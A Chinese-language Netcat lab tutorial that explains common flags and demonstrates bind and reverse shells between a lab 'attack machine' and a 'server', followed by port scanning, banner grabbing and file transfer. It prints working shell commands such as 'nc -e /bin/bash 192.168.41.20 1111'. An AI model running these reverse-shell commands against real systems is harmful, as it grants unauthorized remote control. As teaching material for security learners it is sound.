Netcat反弹Shell
Netcat简称NC,是一个简单、可靠的网络工具,被誉为网络界的瑞士军刀。通NC可以进行端口扫描、反弹Shell、端口监听和文件传输等操作,常用参数如下:
参数 | 作用 |
---|---|
-c | 指定连接后要执行的shell命令 |
-e | 指定连接后要执行的文件名 |
-k | 配置 Socket一直存活(若不想退出 Shell后使监听断开可使用此参数) |
-l | 监听模式 |
-p | 设置本地主机使用的通信端口 |
-u | 使用UDP传输协议,默认为TCP |
-v | 显示指令执行过程,用-vv会更详细 |
一、正向反弹Shell
实验拓扑
机器名称 | IP |
---|---|
攻击机器 | 192.168.41.20 |
服务器 | 192.168.41.130 |
实验介绍
攻击者机器192.168.41.20 和服务器 192.168.41.130 可以相互的访问,这个时候可以使用正向shell
实验复现
1)在服务器上运行:
#windows机器
nc64.exe -lvvp 1111 -e C:\Windows\System32\cmd.exe
#linux机器
nc -lvvp 1111 -e /bin/bash
2)在攻击机上运行
nc64.exe 192.168.41.130 1111
3)拿到正向的shell
二、反向反弹Shell
实验拓扑
机器名称 | IP |
---|---|
攻击机器 | 192.168.41.20 |
服务器 | 192.168.41.130 |
实验介绍
攻击者机器 192.168.41.20 不能直接访问服务器,但是服务器 192.168.41.130 可以访问攻击者的机器,这个时候可以使用反向shell
实验复现
1)在攻击者机器运行
#监听1111端口
nc64.exe -lvvp 1111
2)在服务器上运行 (反弹到攻击机)
#windos机器
nc64.exe -e C:\Windows\System32\cmd.exe 192.168.41.20 1111
#linux机器
nc -e /bin/bash 192.168.41.20 1111
3)攻击机拿到反向的shell
三、 Netcat的其他用法
Banner 的抓取
靶机运行着ssh服务,可以查看服务的版本
nc64.exe -nv IP Port
端口探测
可以查看端口的开放情况,可以看到我们目标服务器的80端口没有开放
nc64.exe -v IP Port
多端口扫描
可以查看多端口是否开放和允许的服务
nc -v -z IP Port[1]-Port[65535]
端口监听
监听端口,当访问该端口会输出该信息
nc64.exe -l -p Port
文件传输
机器 | IP |
---|---|
接受端 | 192.168.41.132 |
发送端 | 192.168.41.20 |
接收端文件夹下为空
接收端执行命令
nc -lp Port > file
发送端执行命令
nc -vn IP Port < file -w 1
接收端接收到文件
简易聊天
攻击机执行
nc -l -p Port
服务器执行
nc64.exe -vn IP Port
攻击机收到聊天